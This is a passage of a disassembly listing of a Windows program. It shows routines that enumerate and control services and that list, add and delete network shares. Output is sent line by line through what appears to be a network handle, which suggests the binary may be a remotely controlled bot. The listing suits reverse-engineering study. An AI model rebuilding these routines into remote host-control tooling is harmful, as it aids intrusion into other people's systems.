		lea	eax, [ebp+var_400]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_4367A0
		push	eax
		call	sub_415316
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_412C6A
		push	7D0h
		call	dword_421060	; Sleep

locret_412C6A:				; CODE XREF: sub_412BD1+8Cj
		leave
		retn
sub_412BD1	endp


; =============== S U B	R O U T	I N E =======================================



sub_412C6C	proc near		; CODE XREF: sub_40CD3A:loc_40EB9Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_412CD1
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_4367B8[esi]
		push	edi
		push	eax
		call	sub_412CF3
		add	esp, 14h
		test	eax, eax
		jnz	short loc_412CB4
		push	edi
		push	off_4367B4[esi]
		mov	esi, offset dword_46B208
		push	offset dword_4368EC
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_412CEE
; ---------------------------------------------------------------------------


loc_412CB4:				; CODE XREF: sub_412C6C+2Aj
		push	eax
		call	sub_412D95
		push	eax
		push	edi
		mov	esi, offset dword_46B208
		push	offset dword_4368B0
		push	esi
		call	sub_415316
		add	esp, 14h
		jmp	short loc_412CEE
; ---------------------------------------------------------------------------


loc_412CD1:				; CODE XREF: sub_412C6C+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_46B208
		push	off_4367B0[eax*4]
		push	offset dword_436878
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_412CEE:				; CODE XREF: sub_412C6C+46j
					; sub_412C6C+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_412C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412CF3	proc near		; CODE XREF: sub_412C6C+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_43C548
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_412D1A
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412D8F
; ---------------------------------------------------------------------------


loc_412D1A:				; CODE XREF: sub_412CF3+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_43C43C
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_412D3A
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_412D87
; ---------------------------------------------------------------------------


loc_412D3A:				; CODE XREF: sub_412CF3+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_412D6D
		cmp	eax, 3
		jz	short loc_412D5E
		jle	short loc_412D80
		cmp	eax, 6
		jg	short loc_412D80
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_43C4A4
		jmp	short loc_412D74
; ---------------------------------------------------------------------------


loc_412D5E:				; CODE XREF: sub_412CF3+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_43C444
		jmp	short loc_412D74
; ---------------------------------------------------------------------------


loc_412D6D:				; CODE XREF: sub_412CF3+4Dj
		push	esi
		call	dword_43C4A8


loc_412D74:				; CODE XREF: sub_412CF3+69j
					; sub_412CF3+78j
		test	eax, eax
		jnz	short loc_412D80
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebx, eax


loc_412D80:				; CODE XREF: sub_412CF3+54j
					; sub_412CF3+59j ...
		push	esi
		call	dword_43C458


loc_412D87:				; CODE XREF: sub_412CF3+45j
		push	edi
		call	dword_43C458
		pop	esi


loc_412D8F:				; CODE XREF: sub_412CF3+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_412CF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D95	proc near		; CODE XREF: sub_412C6C+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_412E4A
		jz	loc_412E43
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_412E0D
		jz	short loc_412E03
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_412DF9
		dec	ecx
		dec	ecx
		jz	short loc_412DEF
		dec	ecx
		jz	short loc_412DE5
		sub	ecx, 51h
		jz	short loc_412DDB
		sub	ecx, 24h
		jnz	loc_412EC0	; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DDB:				; CODE XREF: sub_412D95+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DE5:				; CODE XREF: sub_412D95+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DEF:				; CODE XREF: sub_412D95+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412DF9:				; CODE XREF: sub_412D95+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E03:				; CODE XREF: sub_412D95+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E0D:				; CODE XREF: sub_412D95+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_412E3C
		dec	ecx
		jz	short loc_412E35
		dec	ecx
		jz	short loc_412E2E
		dec	ecx
		jnz	loc_412EC0	; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_412EB2
; ---------------------------------------------------------------------------


loc_412E2E:				; CODE XREF: sub_412D95+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E35:				; CODE XREF: sub_412D95+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E3C:				; CODE XREF: sub_412D95+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E43:				; CODE XREF: sub_412D95+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E4A:				; CODE XREF: sub_412D95+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_412EC0 ; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_412EAD
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_412EC0 ; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_412F01[ecx]
		jmp	off_412ED9[ecx*4] ; switch jump


loc_412E6E:				; DATA XREF: seg001:off_412ED9o
		push	offset aTheSpecifiedDa ; jumptable 00412E67 case 7
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E75:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceDepe ; jumptable 00412E67 case 17
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E7C:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceDe_0 ; jumptable 00412E67 case 10
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E83:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceHasB ; jumptable 00412E67 case 0
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E8A:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheSpecified_0 ; jumptable 00412E67 case 2
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E91:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceCoul ; jumptable 00412E67 case 11
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E98:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceHa_0 ; jumptable 00412E67 case 14
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412E9F:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheRequested_1 ; jumptable 00412E67 case 3
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EA6:				; CODE XREF: sub_412D95+D2j
					; DATA XREF: seg001:off_412ED9o
		push	offset aTheServiceHasN ; jumptable 00412E67 case 4
		jmp	short loc_412EB2
; ---------------------------------------------------------------------------


loc_412EAD:				; CODE XREF: sub_412D95+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_412EB2:				; CODE XREF: sub_412D95+41j
					; sub_412D95+4Bj ...
		push	offset dword_46AB38
		call	sub_415316
		pop	ecx
		pop	ecx
		jmp	short loc_412ED3
; ---------------------------------------------------------------------------


loc_412EC0:				; CODE XREF: sub_412D95+36j
					; sub_412D95+89j ...
		push	eax		; default
					; jumptable 00412E67 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_46AB38
		call	sub_415316
		add	esp, 0Ch


loc_412ED3:				; CODE XREF: sub_412D95+129j
		mov	eax, offset dword_46AB38
		retn
sub_412D95	endp

; ---------------------------------------------------------------------------
off_412ED9	dd offset loc_412E83	; DATA XREF: sub_412D95+D2r
		dd offset loc_412E8A	; jump table for switch	statement
		dd offset loc_412E9F
		dd offset loc_412EA6
		dd offset loc_412E6E
		dd offset loc_412E7C
		dd offset loc_412E91
		dd offset loc_412E98
		dd offset loc_412E75
		dd offset loc_412EC0
byte_412F01	db	0,     9,     1,     2 ; DATA XREF: sub_412D95+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F13	proc near		; CODE XREF: sub_40CD3A+1E8Cp

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_43C548
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 14h


loc_412F4B:				; CODE XREF: sub_412F13+123j
		lea	eax, [ebp+var_8]


loc_412F4E:				; DATA XREF: seg001:off_42B8D4o
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_43C514
		test	eax, eax
		jnz	short loc_412F85
		call	dword_421088	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_41303C


loc_412F85:				; CODE XREF: sub_412F13+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_413033
		lea	esi, [ebp+var_188]


loc_412F96:				; CODE XREF: sub_412F13+11Aj
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_412FE2
		dec	eax
		jz	short loc_412FDB
		dec	eax
		jz	short loc_412FD4
		dec	eax
		jz	short loc_412FCD
		dec	eax
		jz	short loc_412FC6
		dec	eax
		jz	short loc_412FBF
		dec	eax
		lea	eax, [ebp+var_20]
		jz	short loc_412FB8
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_412FEA
; ---------------------------------------------------------------------------


loc_412FB8:				; CODE XREF: sub_412F13+9Cj
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_412FEA
; ---------------------------------------------------------------------------


loc_412FBF:				; CODE XREF: sub_412F13+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FC6:				; CODE XREF: sub_412F13+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FCD:				; CODE XREF: sub_412F13+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FD4:				; CODE XREF: sub_412F13+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FDB:				; CODE XREF: sub_412F13+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_412FE7
; ---------------------------------------------------------------------------


loc_412FE2:				; CODE XREF: sub_412F13+87j
		push	offset aStopped	; "    Stopped"


loc_412FE7:				; CODE XREF: sub_412F13+B1j
					; sub_412F13+B8j ...
		lea	eax, [ebp+var_20]


loc_412FEA:				; CODE XREF: sub_412F13+A3j
					; sub_412F13+AAj
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_412F96


loc_413033:				; CODE XREF: sub_412F13+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_412F4B


loc_41303C:				; CODE XREF: sub_412F13+6Cj
		push	[ebp+var_C]
		call	dword_43C458
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_412F13	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413053	proc near		; CODE XREF: sub_40CD3A:loc_40EC86p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_4130EC
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_41307C
		dec	eax
		jnz	short loc_4130CC
		push	edi
		push	0
		call	sub_413225
		pop	ecx
		pop	ecx
		jmp	short loc_4130C8
; ---------------------------------------------------------------------------


loc_41307C:				; CODE XREF: sub_413053+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_4130BA
		push	24h
		push	edi
		call	sub_416F20
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4130BA
		push	57h
		pop	eax


loc_413093:				; CODE XREF: sub_413053+77j
		push	eax
		call	sub_4139F3
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46AE00
		push	off_4367B0[eax*4]
		push	offset dword_436ECC
		push	esi
		call	sub_415316
		add	esp, 18h
		jmp	short loc_41310C
; ---------------------------------------------------------------------------


loc_4130BA:				; CODE XREF: sub_413053+2Dj
					; sub_413053+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_413179
		add	esp, 0Ch


loc_4130C8:				; CODE XREF: sub_413053+27j
		test	eax, eax
		jnz	short loc_413093


loc_4130CC:				; CODE XREF: sub_413053+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_46AE00
		push	off_4367B4[eax*4]
		push	offset dword_436E9C
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_41310C
; ---------------------------------------------------------------------------


loc_4130EC:				; CODE XREF: sub_413053+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_46AE00
		lea	eax, [eax+eax*2]
		push	off_4367B0[eax*4]
		push	offset dword_436E64
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_41310C:				; CODE XREF: sub_413053+65j
					; sub_413053+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_413053	endp


; =============== S U B	R O U T	I N E =======================================



sub_413112	proc near		; CODE XREF: sub_414500+247p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_41311F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41311F:				; CODE XREF: sub_413112+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_421138
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_46B000, 1
		mov	ebp, eax
		jnz	short loc_41315C
		or	byte_46B000, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_416655
		pop	ecx
		mov	dword_46AD98, eax


loc_41315C:				; CODE XREF: sub_413112+32j
		push	esi
		push	esi
		push	ebp
		push	dword_46AD98
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_46AD98
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_413112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413179	proc near		; CODE XREF: sub_413053+6Dp
					; sub_414826+18Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4131E4
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_416F20
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_4131E4
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_43C454
		pop	edi
		leave
		retn
sub_413179	endp


; =============== S U B	R O U T	I N E =======================================



sub_4131E4	proc near		; CODE XREF: sub_413179+Ap
					; sub_413179+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_4131F1
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4131F1:				; CODE XREF: sub_4131E4+9j
		push	ebx
		push	esi
		mov	esi, dword_421064
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_416655
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4131E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_413225	proc near		; CODE XREF: sub_413053+20p
					; sub_414500+1BCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4131E4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_43C42C
		pop	esi
		retn
sub_413225	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413248	proc near		; CODE XREF: sub_40CD3A+1F78p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_4131E4
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 18h


loc_413281:				; CODE XREF: sub_413248+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_43C4A0
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_4132E4
		cmp	ebx, 0EAh
		jz	short loc_4132E4
		push	ebx
		push	ebx
		call	sub_4139F3
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset dword_436F2C
		push	eax
		call	sub_415316
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 24h
		jmp	short loc_413351
; ---------------------------------------------------------------------------


loc_4132E4:				; CODE XREF: sub_413248+5Dj
					; sub_413248+65j
		xor	edi, edi
		inc	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_413348
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_4132F2:				; CODE XREF: sub_413248+FCj
		push	dword ptr [esi+10h]
		call	dword_43C448
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_413309
		mov	eax, offset aNo	; "No"


loc_413309:				; CODE XREF: sub_413248+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_415316
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412BD1
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_4132F2
		xor	esi, esi


loc_413348:				; CODE XREF: sub_413248+A2j
		push	[ebp+var_4]
		call	dword_43C5E4


loc_413351:				; CODE XREF: sub_413248+9Aj
		cmp	ebx, 0EAh
		jz	loc_413281
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_413248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413369	proc near		; CODE XREF: sub_40CD3A:loc_40ED22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_41340D
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_4133AB
		dec	eax
		jz	short loc_4133A0
		dec	eax
		jnz	short loc_4133C6
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_4134AF
		add	esp, 14h
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133A0:				; CODE XREF: sub_413369+1Dj
		push	ebx
		push	edi
		call	sub_41348E
		pop	ecx
		pop	ecx
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133AB:				; CODE XREF: sub_413369+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_4133BF
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_413434
		add	esp, 0Ch
		jmp	short loc_4133C2
; ---------------------------------------------------------------------------


loc_4133BF:				; CODE XREF: sub_413369+45j
		push	57h
		pop	eax


loc_4133C2:				; CODE XREF: sub_413369+35j
					; sub_413369+40j ...
		cmp	eax, edi
		jnz	short loc_4133E6


loc_4133C6:				; CODE XREF: sub_413369+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_46B008
		push	off_4367B4[eax*4]
		push	offset dword_437020
		push	esi
		call	sub_415316
		add	esp, 10h
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_4133E6:				; CODE XREF: sub_413369+5Bj
		push	eax
		call	sub_4139F3
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_46B008
		push	off_4367B0[eax*4]
		push	offset dword_436FE0
		push	esi
		call	sub_415316
		add	esp, 18h
		jmp	short loc_41342D
; ---------------------------------------------------------------------------


loc_41340D:				; CODE XREF: sub_413369+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_46B008
		lea	eax, [eax+eax*2]
		push	off_4367B0[eax*4]
		push	offset dword_436FA0
		push	esi
		call	sub_415316
		add	esp, 0Ch


loc_41342D:				; CODE XREF: sub_413369+7Bj
					; sub_413369+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_413369	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413434	proc near		; CODE XREF: sub_413369+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4131E4
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_4131E4
		add	esp, 0Ch
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		and	[ebp+var_8], 0
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_20], eax
		xor	eax, eax
		push	ecx
		lea	ecx, [ebp+var_24]
		inc	eax
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_43C438
		pop	edi
		leave
		retn
sub_413434	endp


; =============== S U B	R O U T	I N E =======================================



sub_41348E	proc near		; CODE XREF: sub_413369+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_4131E4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_43C428
		pop	esi
		retn
sub_41348E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4134AF	proc near		; CODE XREF: sub_413369+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_4131E4
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_4131E4
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_43C5AC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41383C
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_413877
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
